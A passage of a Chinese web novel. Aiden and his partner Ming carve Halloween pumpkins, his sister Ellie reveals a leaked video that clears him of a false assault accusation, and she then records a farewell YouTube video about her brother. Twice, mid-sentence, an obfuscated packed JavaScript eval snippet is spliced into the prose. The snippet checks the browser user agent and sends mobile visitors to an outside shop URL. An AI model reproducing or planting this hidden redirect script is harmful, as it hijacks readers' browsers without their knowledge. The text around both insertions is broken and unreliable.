上个周末,他花了两天的时间,和Ming一起齐心协力地把公寓布置成了一栋鬼屋——阴恻恻,幽绿色的探照灯遍布整个公寓的外墙;所有的绿植上都遍布蛛网;血迹斑斑的稻草人手持斧子坐在门前的长椅上,它的脖子上有红外感应装置,会缓缓转过头注视着任何走进屋子的人;艾登还在草坪底下埋了一个重量触发型声音装置,无论谁走到那附近,都会听见一阵高昂而诡异的笑声从树篱下传来,要是有谁胆敢往下一看,就会发现《它》中的小丑正藏身其中,安装了灯泡的双目散发着可怖的光芒;吊死鬼从二楼的窗户悬挂下来,和几个风干骷髅头一块随风飘荡;一个小型投影仪被艾登藏在洒水器后面,上面用一个似乎正试图破土而出的腐烂僵尸作为掩饰,一到晚上,投影仪就会在公寓前映出骑着扫帚的女巫剪影,远远望去,看着就像正有一队浩浩荡荡的女巫大军从公寓前路过一样。 艾登对最终呈现的效果很满意。 完成了以后,他和Ming拿着没用完的蜘蛛网和蝙蝠模型,一个假装自己是蜘蛛侠,一个假装自己是蝙蝠侠,在屋前的草坪上你来我往地打闹了一个多小时。最后,两个满身都沾着扯断打结蛛网的男孩往散落着黑色塑料碎片的草地上一躺,一边喘着气,一边笑话着彼此的狼狈模样。 “要是我没有被橄榄球队开除的话,这会我应该在马里兰州比赛。马里兰大学水龟队实力还算不错,算不上难缠,但是掉以轻心的话,就会输得很惨。”艾登眯着眼睛望着淡粉色的天边,一点点金光从薄云中透出来,是日落的余晖,把他和Ming的脸都照得通红,他们手臂随意摊开在柔软的草地上,指尖与指尖间的距离短得能在眨眼间让蚂蚁跑上几百个回合,“想到我现在居然会一点都不在乎橄榄球赛到底是谁输谁赢,感觉很奇特。” “好的奇特,还是坏的奇特?”Ming气息还是有点不均匀,声音里带着笑。 “好的奇特。”艾登说,“我从九岁以后就没怎么过万圣节了,因为训练,比赛,强制戒糖的要求,还有社区委员会对房屋装饰的种种不合理的规定……这还是我第一次有机会亲自做这些事情。赢球的感觉固然很棒,成千上万名观众共同欢呼着喊出我的名字感觉也很棒,但我还是更喜欢这种宁静的生活。” “我也没过过万圣节,”云决明说,“没出去讨要过糖果,没有把自己打扮成妖魔鬼怪,没有装饰过屋子,没有雕刻过南瓜,什么都没有——这对我来说也是头一回。” “连南瓜都没有刻过?”艾登惊讶地撑起身子,看着一脸无所谓的云决明。 “我在国内时就没有过过万圣节,因此这对我来说算不上是什么遗憾。”他耸了耸肩,墨色的碎发落进半眯的双眼中,原本黝黑的眼眸在晚霞下变成了深邃的琥珀色,一点淡淡的笑容似吻般落在嘴角,边上点缀着些许草屑。他的五官不是那种人们一见便会称赞英俊的类型,但看着却只觉柔软,干净,淡然,完全符合青春电影里喜欢呈现的少年模样。艾登只瞥了一眼,突然就挪不开视线了。 “这可是个天大的遗憾,”艾登说,心跳莫名其妙地加快了。他不得不在记忆中搜寻童年的片段,来抑制住情绪不知从何而起的骚动。脑海中的相册冒着阻力翻开,父亲是怎么抱着自己,手把手地教导他该如何雕刻南瓜的情形跃然眼前,阻挡了云决明的模样。艾登记起他和父亲是如何把挖出的南瓜籽和南瓜须须往彼此身上扔,害得过去好几天了身上都是一股挥之不去的南瓜味。或许是因为那段经历太难忘,他才会这么喜欢万圣节,“你等着,万圣节那天,我会一大早就去农夫市场,给你挑一个最大,最完美的南瓜,不管你想在上面刻什么都能装得下——” “还有艾莉的。”云决明提醒他,“艾莉这个周末有事,她说会在万圣节的时候过来。” “噢,对。” 挠了挠头,艾登这才记起这茬。 于是,万圣节的当天,艾登四点半就从床上爬起来,驱车前往三十英里以外农夫市场。他几乎是和农夫们同时抵达的,便直接在他们开来的皮卡上挑选了三个大南瓜——每个都有约莫35磅重,又另外挑了些品相好的,大小不一的南瓜,以及这些农夫刚从自家的田里摘下来的新鲜瓜果蔬菜。 在这之后,他又去了一趟超市,买了好几大箱分发给孩子们的糖果,又采购了不少日常用品——这其中就包括刻南瓜需要的全套装备,便宜的一次性T恤,还有为了照顾Ming的洁癖,用于罩在地上的防水薄膜。他还记得从前和父亲一起刻完南瓜后满地的狼藉,每次都要挨上奶奶的一顿骂,要是让Ming瞧见那一地的南瓜汁水和黏糊糊的南瓜须,估计会当场昏厥过去。 他回到家时,Ming和艾莉都在公寓门前等着他,艾莉穿着一身非常应景的南瓜色背带裤裙,头发染成了深紫色——艾登吓了一大跳,要知道,染发是所有艾莉想做的事情中,妈妈和奶奶最为反对的一件。车子还没停稳,他就把头探出了车窗,“艾莉,你疯了吗?”艾登惊恐地嚷嚷道,“要是奶奶和妈妈知道我没看好你,让你在我这儿把头发给染了,准要——” 他还没决定奶奶是会先把他的头给拧下来,还是先把耳朵给拧下来,艾莉就撇着嘴开口了。 “放心好了,你这个妈宝胆小鬼,”她没好气地说道,“奶奶同意我染头发了,她都首肯了,妈妈也没有怎么反对。” “你是怎么说服她们的?”艾登难以置信地看着她,无法想象奶奶居然有一天会同意自己还在上高中的孙女染一头深紫色的发色,他知道奶奶在女性形象这方面的观念很古板,巴不得艾莉打扮得就像以英国王室女成员一样,裙不过膝,衣不露胸,永远体面又优雅,“你是把奶奶催眠了吗?” “我猜,”艾莉一挑眉毛,“有你这个被球队开除,舆论上被打成了个强煎犯的孙子‘珠玉在前’,我想要染发的想法看起来也就不再那么‘离经叛道’了。再说了,既然她们都同意了,你还打听原因干什么?赶紧下车来,我们好把东西都搬到楼上去。” “你知道原因吗?”艾登走下车来,趁着艾莉绕过去了后备箱时,悄悄地在Ming耳边问了一句,心想也许在他回家以前艾莉跟Ming提过一句。 “我一见面就问了她,”Ming也小声地在他耳边回答,看来也怕被艾莉听见他们两个悄悄在背后议论她,“她张口就问我‘怎么,你看不惯吗?’我当然只能夸她染得真好看。这个话题就这么不了了之了。” “你们两个——” 艾登和Ming两个人激灵灵地一抬头,刚好与关上后备箱盖子的艾莉视线撞上,她刚刚把里面的袋子都拎了出来,放在车道上,这会正偏着头,眯着眼睛打量着他们两个。艾登有点心虚地转开了脸,发觉Ming也干了同一件事。 “——是打算让我全部都把这些一个人搬进公寓里去吗?” “当然不是。”艾登嘟囔了一句,赶紧过去帮忙,他们三个人很快就把东西都搬回了屋子里。就在艾登和云决明忙着把买回来的食材分门类别地收在冰箱及橱柜里时,一时半会不需要做些什么的艾莉端着她的小美人鱼杯子,慢悠悠地在厨房中岛处坐下了,清了清嗓子。 “既然你们两个都在这儿了,有件事我觉得应该要跟你们提一下。” “什么事?”艾登随口问道。心想只要不是艾莉宣布她有了一个男朋友,或者爱上了疏眠,一切好说——艾莉最近跟疏眠走得很近。就在上个周末,她跟疏眠出去逛了一天的街,直到晚饭才被疏眠送回去。妈妈给自己打电话说这件事时还旁敲侧击了一下疏眠与自己的关系,言语间毫不遮掩地流露出了对疏眠的欣赏。艾登只得顾左右而言他,才勉强糊弄过去。 “我知道你们两个这段时间都没怎么上网,基本切断了社交媒体上的一切社交,所以你们应该不知道,周二那天,唐泽茹在油管上开了直播,把所有的真相都说了出来。” “她怎么可能会把这种事说出来?” “她周二就说了这件事,你现在才告诉我们?” 大吃一惊的艾登和Ming差点在厨房中岛前撞成一团,异口同声地嚷道。 “她在直播里说她受不了良心的谴责——谁知道呢,也许她还残留着那么一点点良知。”艾莉说,“我也是刚刚才想起来这件事——你和Ming似乎很享受没有网络舆论打扰的日子,所以我想看看后续舆论会往哪个方向发展,再决定要不要跟你们说这件事。要是根本就没有人相信唐泽茹的话,情形还是跟你被开除出校橄榄球队时一样糟糕,那我何必要用这种事坏了你们两个的心情呢?” 艾登和Ming面面相觑。艾登总觉得哪里不对,以艾莉的性格而言,她在这么一间大事上的反应实在是太淡定了,然而,另一方向,她给的理由又无懈可击,他也挑不出什么纰漏。 “可能是黎疏眠阻止了她跟我们说。”应该是看出了艾登眼里的疑惑,云决明迅速转头在他耳边嘀咕了一句,才转向艾莉,“有人相信她的说辞吗?” “挺多人相信的。”艾莉点了点头,不知怎么地,艾登似乎能从她此刻的微笑里瞧出那么一点自得的神色,“毕竟,她现在站出来的时机正好,而且她的说辞也确实弥补了先前她泄露的那个故事中许多不合理的地方。现在推特和脸书上还为她说话的人,基本都是看在#我选择不再沉默这个话题是因为她而诞生的份上,之前那些对她顶礼膜拜的那些人全都纷纷倒戈,像疯狗似的辱骂唐泽茹,好掩盖他们之前的愚蠢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041248|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盲从的行为。你知道吗,现在推特上还有不少球迷发起了一个活动,要求U大把橄榄球四分卫的位置重新还给你,已经有差不多十万人在那条联名请愿下登记了。一夜之间,你就从声名狼藉的前四分卫,变成了忍辱负重的天才运动员。许多人还没来得及删除‘艾登就是个猪狗不如的畜生’这条推特,就已经忙不迭地发了一条‘想到艾登是因为被陷害才失去一切的,就令我心碎无比’的新状态,来表明自己的立场。” “就算威尔逊校长和教练跪在地上求我回去,我也绝对不会回去。那些为我心碎的网友用不了几天就会为别人心碎了,她们从来没真的在乎过我,我也没必要在乎她们的呼吁。”艾登恢复了手上的活,继续把东西一样一样地放进冰箱,语气平静,“那些控诉U大和ADP兄弟会的女孩们呢?她们现在的处境如何?我希望她们故事的可信度没有因为唐泽茹的澄清而受到损害。” “这一点是无法避免的,你说得对,确实相信她们的人少了很多,”艾莉叹了一口气,“而且确实也有几个女孩在唐泽茹直播后站出来说自己同样撒谎了,只是想看看能不能成绩浑水摸鱼,得到一些好处。唐泽茹刚直播完的那几天,辱骂那一百多个站出来讲出自己被ADP兄弟会成员性侵过的女孩的人数就跟辱骂唐泽茹的人一样多,认为她们都是一路货色。” 艾登和云决明的脸色都立刻阴沉了。 “既然如此,你应该早点把这件事告诉我才对,”艾登强忍着怒气,不愿对自己的妹妹发脾气,压低了声音说道,“我完全可以站出来向媒体和网友证明那些指控都是真的,我可以把会议上那些校董的嘴脸披露出来——” “急什么,已经有人比你更早一步做了这件事了。”艾莉白了他一眼,“唐泽茹直播说出真相以后,U大在周四那天发表了声明,说他们仍然认为把你开除出球队是正确的事情,为此瞎掰了几句似是而非的话,暗示大家U大把你开除出去不仅仅只是因为性侵唐泽茹这件事。同时说因为U大为此事蒙受了许多不必要的损失,他们认为田径部主席赫尔曼女士及主教练斯蒂文都要为此负起责任,因此已经把他们都辞退了。” “但这于事无补,U大只是又看似正义地推了两个替罪羔羊出去遮掩真正的罪恶。”艾登不自觉地提高了一点声音,Ming见状,赶紧把鸡蛋从他手里接过去,改而将牛扒塞进了自己手里,似乎生怕他会拿手上的食物出气。 “我都还没说完呢,你别那么着急好不好。”艾莉没好气地说道,“昨天,上次校董会议的录像——完完整整,没有任何删改片段的原版视频——在网上泄露出来了。舆论在这之后炸开了锅,推特上相关的话题每隔几分钟一刷就有几十上百条讨论。U大不得不紧急关闭了学校的官方脸书页面和推特账号,免得被涌进来骂街的网友全面占领。昨天晚上,还有今天早上,都有好几个权威的新闻节目详细报道了这件事。约州警方也在今天早上宣布介入调查ADP兄弟会的性侵丑闻。你最后那个比中指的镜头,都在油管上传疯了,不知道被人做了多少个恶搞视频。也就只有你们这两个把手机里的社交软件全部都卸载了的,打开电视就知道看Netflix的男人对此事一无所知了。” “那个视频——”艾莉短短几句话里包含的信息太多,艰难地处理了好几秒后,艾登才突然从愕然的情绪里找到了自己的声音。在他身旁,云决明似乎还没回过神来,他手上拿着装鸡蛋的纸盒,另一只手扶着冰箱门,久久都不曾动一下,只是瞠目结舌地望着艾莉,“不会是你泄露出去的吧?” 他狐疑地看着艾莉,虽然说他不认为自己才十五岁的妹妹有那么高超的黑客技巧,但要论知道这件事,又干得出这件事的人,除了艾莉以外也没别人了。 “怎么?你是觉得全世界的黑客都死绝了,只剩下你妹妹一个人了吗?”艾莉不以为然地说道,“唐泽茹直播澄清事实真相以后,就有不少人找到了当时疏眠和我证明了你的清白的推特——当时,我写的很清楚,这些证据已经全部都交给了U大。所以那时就有很多人怀疑U大在得到证据后仍然决定把你开除,说不定背后有什么不可告人的隐情。加之NCAA要求U大提交的会议视频迟迟没有上交,许多人便开始怀疑那段视频有鬼。只要这当中有那么一两个好奇心十足,又会一点黑客技巧的人,这段视频的泄露只是迟早的事情。” “所以你是说——”艾登不自觉地皱起了眉头,他直觉自己应该为真相终于大白而欢呼雀跃,但始终有那么一丝不安告诉他事情永远都不可能那么顺利,“这一系列洗清了我的罪名,使得ADP兄弟会性侵案终于得以立案调查,并且揭露了U大校董们嘴脸的事件,全都是一件套一件的巧合吗?” “我只是说,亲爱的哥哥,U大的招数迟早有山穷水尽的一天,没有什么能秘密能永远藏在黑暗中,有他们那样费尽心思也要将罪行掩盖的人,就有无论如何也要将他们的罪恶曝光的人,” 艾莉露出了一个高深莫测的笑容,拿起小美人鱼的杯子喝了一口水。 “而这一天已经到来了。” 72. Chapter·Nineteen 艾莉用钥匙打开家门的时候,奶奶刚好从客厅走出来。 “怎么这会才回来?”她嗔怪地说道,“我知道你是去你哥那儿玩,可也不用玩到这么晚吧?女孩子,不要养成在外面待得太晚的习惯。” 艾莉下车前才看过时间,现在不过八点五十五分,还没超过她的宵禁时间——但艾莉很肯定这只是奶奶为了打开话题的无事生非,也不急着反驳,“我下次会更注意时间,奶奶。”她温柔地回答,一边小心翼翼地把从艾登那儿抱回来的大南瓜放到地上,她有预感这段对话要持续好一会。 果然,奶奶转瞬间就把这回事抛到了脑后,暴露了她适才一直躲在客厅窗帘后偷看的事实,“艾登还是不肯进来?”她问道, “你劝说他了吗?” “给他一点时间。”艾莉说,奶奶不知道艾登不愿回家的真正理由,还以为他是在生气爷爷插手了唐泽茹性侵案的事。她不想多管闲事,更觉得没必要劝自己哥哥跟家里人重修旧好。艾登都成年了,想不想回家来看爷爷奶奶和妈妈都是他自己的事情,艾莉才懒得管,但这副态度可不能拿到台面上来对付奶奶,“他会想通的。” “他跟明仔相处得怎么样?没有因为最近发生的那些事情受影响吧?” 奶奶又追问道。 为了艾登的事情,她特意让艾莉给她注册了推特号和脸书号,甚至还拜托疏眠帮她注册了微博号和知乎号,七十岁的老人从头开始艰难学起网络到底是什么,网络社交媒体又是怎么一回事,好以此来跟上舆论的节奏。每天,奶奶都戴着老花镜,和爷爷一起,在iPad上每个平台来回切换着刷,一会看看美国这边是怎么说的,一会看看国内又是怎么说的。艾莉凭着直觉断定,爷爷后来停止了他的干涉,并不是因为艾登的严词抗议,而是因为他亲眼看到了自己的所作所为在网络上掀起了怎样的轩然大波。 不过,出乎艾莉意料的是,两位老人家倒是没有怎么被网络上尖锐的戾气所影响,“在我二十几岁的时候,”爷爷当时跟她说,“年轻人表达自己的愤怒可不是在网络上说几句就算了的,而是真刀真枪地和政府对着干,哪怕流血乃至牺牲也在所不惜。这种,不过就是借着网络的遮掩,骂人的花样多了点罢了,实在没什么看头。” 妈妈在这件事上的态度倒是从头到尾没有变过。 “这是艾登的事情,让艾登自己去处理。”当新闻上到处都在报道艾登就是强煎犯,把爷爷奶奶都气得不轻时,她只这么说了一句,之后果然再也没有过问这件事。艾莉的想法与她不谋而合。 “艾登和Ming相处的很好,”艾莉撇了撇嘴,一想到刚才他们两个人一边刻南瓜,一边嬉嬉笑笑旁若无人聊天的模样,她就觉得牙酸。艾莉这辈子都没见过艾登那么专注又那么温柔地注视着一个人——光回忆那个眼神都能让她鸡皮疙瘩站起来,“艾登这个星期除了遛狗根本没出门,Ming也陪着他切断了一切对外的网络社交。他们两个对外面世界发生了什么事情一无所知,要不是我今天把这段时间的情况都跟他们说了一通,他们现在还不知道事实已经大白于天下了呢。” “唉,也就亏得他还有你这么一个妹妹,可以力挽狂澜,”奶奶轻轻捏了捏艾莉的脸,“不然的话,哪怕网上那些人把他搞到身败名裂,恐怕他都不在乎。你妈妈还说让艾登自己处理——关键是他后来根本就不打算处理这件事了,你说气不气人?” “艾登还不知道视频是我泄露的。”艾莉耸了耸肩膀,说。她能成功把头发染成梦寐以求的深紫色,就是因为她及时放出了那段视频,让艾登的名声直接触底反弹,一下子又重回巅峰。奶奶高兴之下才特许了的,“您可别到时候说漏嘴了。” “我怎么跟他说,他都不回家来看看我这个还不知道能活多久的老太婆!”奶奶气呼呼地说道。虽说她看到视频里艾登说他不仅仅是个维尔兰德,还是祝家人和林家人时,都感动得热泪盈眶了,倒是爷爷那一刻的神色变得非常复杂,“再这么下去,等他自己想通了愿意回家,我早就老年痴呆,忘记自己有那么一个孙子了。” “那不刚好,”艾莉忍不住笑了起来,“这样您拿着扫帚把他打出去的时候就不会有愧疚感了。” “你倒巴不得看见那一幕,是不是?”奶奶轻轻地弹了一下艾莉的额头,这时她才注意到艾莉脚边那个巨大的南瓜,“你怎么把万圣节的南瓜也带回来了?”她吃惊地问道,“这么大一个,你要放在哪里呀?” “我房间里,”艾莉说道,顺势向旁边跨了一步,挡住南瓜上雕刻的图案,“别担心,奶奶,我会在南瓜开始腐烂以前就把它拿出去扔掉的。” “哎哟,你都刻了什么呀?让奶奶看——” “没刻什么啦,您又不是不了解我,我从来都不喜欢玩这个,这次只是为了给艾登和Ming面子,才勉强刻了几下,没什么好看的,丑死了。”艾莉扶住了想俯身仔细打量南瓜的奶奶,“现在挺晚了,您是不是该上楼休息了?” “没什么好看的,你还往家里带?”奶奶微微一笑,但也没有继续勉强,“那我上楼休息了,乖囡,你也要早点休息。” “嗯!”艾莉特别乖巧地点了点头,大声应了一句。等奶奶的背影消失在走廊远处以后,她才抱起南瓜,一溜烟跑上楼去了。 回到房间里,艾莉非常小心地把南瓜放在床头柜上——就连艾登和云决明都不知道她到底刻了什么,因为内容要等到往南瓜里放灯以后才能真正显现。她从抽屉里拿出一小盏香薰蜡烛,点燃以后颤颤巍巍地护着火焰,让它缓缓着陆在橙红色的瓜肉上。霎时间,整个昏暗的房间都被这团温暖的烛火照亮,就连拉长摇曳在天花板上的诡异阴影看起来也可爱了许多,让人觉得那不过是光与光的重叠之处。艾莉坐在床上,愣愣地看了南瓜好几秒,才记起自己接下来打算要做什么。 卸妆,洗头,洗澡,换上睡衣,最终在梳妆台前坐下的是个神色有些憔悴的女孩,细细的眉毛无精打采地耸拉着,鼻尖上有些新冒出的黑头,由于继承了父亲的混血长相,艾莉的脸若是不精致地画好高光与阴影,她东方式的鼻子与西方式的颧骨便会让人觉得有些奇怪。等她打开架在梳妆台上的摄影机,在屏幕里瞧见了自己的素颜,那种不协调感便被镜头越发地放大了,显得更为突出。 但这才是她,最真实的她,与艾登,与自己的父亲最相似的她。 艾莉深吸一口气,伸手按下了录像键。 “大家好,I am The Amazing Alicia。 “我这段时间一直没有更新,我收到了很多私信和评论,询问我是不是出了什么事,询问我到底什么时候回归,询问我下一支视频要做什么内容,甚至给我提议了很多有意思的点子——于是,我来了,这就是你们想要的下一个视频。 “我知道你们这会心里多半都在想,what the hack,你是一个美妆博主欸,在这么昏暗的光线下,还是以这么糟糕状态的素颜出镜,是认真的吗?对,我的确是认真的,因为这不是一个介绍美妆产品或化妆手法的教程,也不是你们期待的新一期教女大学生如何社交的指南,今天就是我,作为我自己,想跟你们说的一些话。 “如果你对此不感兴趣,看到这里就可以关闭了。如果你愿意看下去,我将会非常感激。 “我想大家最近应该都听说了U大校橄榄球队四分卫性侵案的事情——如果没有,我建议你现在就暂停,上网把新闻补完了以后再回来看这个视频。我不想给任何人造成任何先入为主的印象,也不想再制造任何误会,我只会讲出我知道的事实。至于是否要接受,是否要相信,那都是你们的选择。 “现在,坐在你们面前的这个女孩——这个黑头发,灰眼睛,脸色苍白暗沉,长相不算出众,在街上擦肩而过转瞬间就能被你遗忘的女孩,是艾登·维尔兰德的妹妹。” 艾莉露出一丝苦笑。 奇怪的是,她不需要草稿,甚至不需要提前想好腹稿,就能流畅而自然地说出这番话,仿佛她在多年以前就准备好了这一切,逝去的每一分每一秒她都在为这一刻的到来而排演。 “我这一生,都在努力逃避这个身份。 “我和我的哥哥长得并不相似,我身边也没有任何朋友知道我在油管上开通了自己的频道,即便视频的评论区里偶尔会出现那么一两个认出我是谁的人,他们的留言也会被我迅速删除。我不希望人们因为我是那个‘著名四分卫的妹妹’,或者是‘那个U大很有名的帅哥的妹妹’才来看我的视频,或是抱着能看到艾登·维尔兰德不为人知的一面才来关注我。我只是TAA,你们眼中那个有钱,有趣,有才华,有颜值的美妆博主,我喜欢这个在网络上塑造出的虚拟身份,远远胜于我在现实中的身份——” 一个亲手害死了自己父亲的女儿。 一个永远也及不上自己哥哥的妹妹。 一个不得不靠掩饰本性才能换回宠爱的孙女。 一个伤疤遍布双腿,阴郁孤僻刻薄愤世嫉俗的十五岁少女。 一个会对三十几岁男人产生不可抑制的性幻想与冲动的年轻女孩。 “对,我知道这是彻头彻尾,无可救药的俗套,不愿意活在哥哥的名声下什么的,简直就是每一个青春期妹妹最能拥有的最寻常的家庭矛盾。我都可以看到某些人这会飞快地打开了评论区‘所以,当艾登不过就是一个在约州小有名气的校园四分卫时,TAA:不,我不想说我的真实身份。当艾登字面意义上成为所有人都在讨论的话题的时候,TAA:是的我就是艾登的妹妹,但我一直都不想要这个身份’。省省你那几乎和我的话同步敲在键盘上的字眼吧,如果我已经知道你们想评价什么,而我仍然要说出这一切,就代表我根本不在乎你们的看法。 “更何况,艾登如今已经不再是四分卫了,而且他从此以后不会再回归社交网络了,顶多再过一个星期,人们的注意力就会转向新的话题,新的热点人物。今后迟早有一天,人们再提起这个名字的时候,只会说‘他是艾莉·维尔兰德的哥哥’,如今沸沸扬扬的丑闻,丑闻过后的翻转,翻转过后的舆论风暴,全都会被网友们遗忘。” 哪怕在国内也一样,艾登的话题热度已经迅速下去了,只有“艾登的小迷妹”和几个仍然对他痴迷不已的女孩坚持将美国的新闻翻译后搬运回国,但转发量和评论数比他最红火的时候少了整整一百倍,一旦他恢复了清白,一旦舆论从完全聚焦在唐泽茹身上而逐渐转向#我选择不再沉默这么一个带有标志性美国社会背景及文化的话题,大多数中国人都失去了兴趣。唐泽茹的直播也没能拉回多少,知乎上有相关的问题,但只有寥寥几人回答,内容大同小异,都是说早就看清了她是个表子的嘴脸。 但这正是艾登想要的,被所有人遗忘。 艾莉从前并不知道。 她以为他在乎名声,人气,社交地位,校园里的受欢迎程度,在唐泽茹的污蔑爆发以前,也确实是这些虚无缥缈却又为每个美国人所在意的事物组成了艾登全部的生活,他就是风云人物,明星四分卫,校园里最受女孩青睐的男生,除此以外,他是谁,他想要什么,没人在乎,艾莉也不曾在乎过。 然而,今天下午,她坐在艾登公寓的地板上,看着面前的两个男孩相互丢着南瓜须,时不时作势要打碎对方的南瓜,又自己忍不住笑得倒在地上,还时不时用对方的白T恤擦手,弄得彼此身上都沾满了恶心的黄色汁液的模样。艾莉突然明白了一切。 “正因为,人们有一天会彻底遗忘他,我才希望在他的名字仍然弥留于你们记忆中时,以他妹妹的身份,告诉你们他是一个怎样的人。 “艾登,如果你在看这个视频,马上给我关掉,不然,我保证,这就会是你这辈子看过的最后景象。” 艾莉静静地等候了几秒钟。她知道艾登不会关掉的,但用这几秒钟想象一下艾登提心吊胆地盯着电脑屏幕,犹豫着自己该关掉还是不该关掉,既怕会突然有木马程序弹出来入侵自己的电脑,又抓心挠肺地想继续看下去的模样,倒也挺不错的。 “我不会用什么华丽的辞藻或比喻去形容艾登,维尔兰德家的文学基因全被艾登继承了,我从小写作文就不如他,这也是为什么我特别痛恨我的爷爷奶奶把我和艾登送去了同一所私立中学就读的原因——否则我就可以把他的作文全都偷过来,轻松应付我的英语课,而不必忍受老师喋喋不休地:‘你是艾登的妹妹,而你写出的就这么个玩意?’ “我也不想用事例一一列举,这除了能让此刻还在屏幕前死心不改地继续观看这个视频的艾登得意不已以外,没有任何好处——而且,让我的哥哥得意不已,对我来说也算不上是什么好处。你们都看到了网上流传的U大校董会议视频,你们也都看到了艾登最后竖起的中指,我觉得那比我可能列举出的一百个事例都要更有力地说明了他到底是个怎样的人。 “我只想说,我的哥哥,艾登·维尔兰德,是个伟大而又宽容得不可思议的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041249|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人。” 当她今天下午不知所措地捧着那个巨大的南瓜,毫无头绪自己要刻什么的时候—— “嘿,艾莉,”连头发上都挂着几缕南瓜的艾登冲她打了个响指,“你怎么还没开始?你不知道要刻什么吗?” “你挑的这个南瓜太大了,”她那时冷冷地说道,“我不确定自己应该刻一个巨大的鬼脸,还是该把这个南瓜还给灰姑娘的好——你的确知道把她的南瓜车偷了,她今晚就没法和那个自己只见过一面的王子私定终身了,对吧?” 艾登没理会她的讥讽。 “我觉得,爸爸和你肯定会齐心协力地雕刻出小美人鱼图案的南瓜灯——所以我特意给你挑了一个比较长的大南瓜。” 艾莉一愣。 十年过去了,这是他们第一次心平气和地谈起父亲,不掺杂他令人难以接受的去世,不提及他扑朔迷离的谋杀案,自然亲切地把他称呼为爸爸,就像他仍然活着一般。 她以为这一天永远不会到来。 她以为艾登永远不会原谅她。 有时候,艾莉自己都分不清楚,十年来她对艾登超越一切,填满了她人生所有沟壑,就像太阳一样无处不在地注视着她整个世界的痛恨与愤怒,究竟是因为他拙劣地试图替代父亲的行为,还是因为她心中明白哥哥也恨着自己,为了不让那恨意显露的一刻压垮自己,她宁愿自己先挑起战争,便能说服自己之后所有艾登的反应都是由自己而起,而非因为自己害死了父亲。 “你说对吧,Ming,这个南瓜特别适合刻小美人鱼。” 云决明正从自己的领口出掏出一块刚刚被艾登以前四分卫的精准手法丢进去的南瓜,闻言抬起头。 “是的,”他温柔地笑了起来,神色令人安心,就像他已经知晓了艾登与自己之间长达一生的漫长纠葛与拉锯,而他悄悄地分开两只互不相让的手,同时握在自己的手心里,“确实特别适合。” “当然啦,我觉得无论你刻什么,爸爸都会很喜欢的。”艾登说,又埋头继续给自己的南瓜扎点,他和云决明——大概是不觉得他们如今同居的这种气氛已经无限接近于一对新婚燕尔,甜蜜无比的夫夫——竟然决定要一起雕刻配对的南瓜,艾登雕刻皮卡丘,云决明雕刻伊布。 他们决定一边一个,把南瓜放在门口展示——晚上没来多少孩子讨要糖果,艾登觉得是自己把公寓装饰得太恐怖了,而艾莉严重怀疑这跟他们搬进来那天的指示以及门口的“情侣南瓜”,有分不开的关系。 “他一直都说,等艾莉长大了,可以雕刻南瓜了,她的作品一定会让我们自愧不如,只敢把南瓜展示在自己房间里的。”艾登又补充了一句,一边说一边手上掂量了一下一块刚掏出来的带籽南瓜须。艾莉呆呆地坐在那儿,一时之间不知道该像往常一样犀利的反击,还是说点什么表示她明白艾登愿意原谅自己的话——他几乎从来不与自己分享那些他和父亲单独享有过的回忆,就像那是最后一片留有父亲音容笑貌的相片残片,而他紧紧攥着,生怕被自己也一同夺走一般。 如今,他摊开了手,让自己也一同看见父亲残留的一丝温暖。 下一刻,“啪”的一声,那块南瓜不偏不倚,正中她的胸口,原本洁白无瑕的T恤霎时间就像猛地盛开了一朵向日葵。 “——而我告诉父亲,如果是那样的话,我们就只要不停地向你丢掷南瓜就好了。” 被她咬牙切齿地怒目而视的艾登,笑嘻嘻地说道。 “我的哥哥,他永远愿意看到人性中最好的一面,他会原谅任何人,哪怕是唐泽茹那样卑鄙无耻的小人。” 艾登这辈子绝对不会原谅的,估计只有亲手杀害了父亲的凶手。 以及任何试图帮他遮掩罪行的人。 “我知道有很多人对这样的性格不屑一顾,我知道有不少人关注我就是因为我敢说,我言辞犀利刻薄,骂起人来毫不留情,让你们观看视频的观感极佳,好像自己现实中憋屈的生活也同样出了一口气似的。 “但我们,不,不止是我们,这个社会,这个世界,更需要的,是我哥哥这样的人。 “一味的怒骂和仇恨不能解决任何事情,我知道有许多人都公开地在社交网络上辱骂唐泽茹,恨不得把她的祖宗十八代都一起拎出来跪在地上受辱——个人来说,我乐见其成,甚至恨不得凑上去再加一脚。但事实上,我知道这对事态的发展没有任何用处,反而只将大家的吸引力从真正需要帮助的那些女孩身上转移开来。 “从今往后,我不会再做任何美妆生活类的分享了,这将是TAA的最后一条视频。 “我以后会将我的精力,时间,还有金钱全部都投入在我和黎疏眠共同创立的SlienceNoMore这个网站上,它致力于帮助美国及中国在校园内遭受任何形式的性骚扰,性暴力的青少年,为他们提供安全,匿名,高效有力的法律援助及经济援助。它最近正在进行的一项活动是为起诉U大ADP兄弟会成员性侵的那一百多位女性提供律师费用的援助,我们已经与全美各地法学院毕业,并且有志于投入相关法律领域的未来女性律师取得了联系,希望能与她们合作,联手打败或许是美国庭讼历史上金钱能找来的最强大的男性律师团体。是的,这将是一场无比艰辛,也无比困难的战争,也许未来会与OJ杀妻案,蒂莫西恐怖袭击案,并列成为‘世纪之案’,也许我们会黯然战败,匆匆在课本上一个不起眼的角落里留下一个脚注,就此退出舞台。 